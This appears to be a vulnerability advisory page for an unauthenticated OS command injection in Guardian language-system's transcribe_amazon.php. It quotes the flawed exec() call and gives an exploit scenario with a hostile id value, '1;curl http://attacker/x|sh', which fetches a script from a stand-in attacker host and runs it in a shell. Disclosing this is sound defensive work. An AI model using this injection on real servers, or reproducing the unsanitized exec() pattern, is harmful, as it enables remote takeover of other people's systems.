9.8 CRITICAL

Unauthenticated network-reachable endpoint with trivial injection gives AV:N/AC:L/PR:N/UI:N; shell-level RCE as the web-server user yields full C:H/I:H/A:H, no scope change.

DescriptionCVE.org

Guardian language-system passes the id GET parameter directly into a PHP exec() call in transcribe_amazon.php (line 15) without sanitization: exec(\"php jobs/transcribe_amazon.php \".$login_session.\" \".$_GET['id'].\" ...\"). No authentication is required. An unauthenticated remote attacker can append shell metacharacters to execute arbitrary OS commands on the server.

AnalysisAI

OS command injection in Guardian language-system's transcribe_amazon.php allows an unauthenticated remote attacker to run arbitrary operating-system commands on the host. The id GET parameter is concatenated directly into a PHP exec() call that shells out to a transcription job, so appending shell metacharacters (e.g. …

Vulnerability AssessmentAI

Exploitation Exploitation requires only network reachability to the transcribe_amazon.php endpoint and the ability to supply the id GET parameter - no authentication, no credentials, and no user interaction (PR:N/UI:N/AC:L). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment All available signals point to genuine high priority. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker discovers an internet-exposed Guardian language-system instance and sends an unauthenticated GET request to transcribe_amazon.php with an id value such as '1;curl http://attacker/x|sh'. The shell interprets the metacharacters and executes the attacker's payload as the web-server user, giving remote code execution; a public gist reference suggests proof-of-concept details may already be circulating, making opportunistic exploitation straightforward given the low attack complexity.
Remediation No vendor-released patch or fixed version is identified in the available data, so remediation must rely on compensating controls until the vendor issues a fix; consult the VulnCheck advisory (https://www.vulncheck.com/advisories/guardian-language-system-unauthenticated-os-command-injection-via-id-parameter-in-transcribe-amazon-php) for updates. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: Identify all Guardian language-system deployments, disable the transcribe_amazon.php endpoint, and assess network exposure of affected systems. …
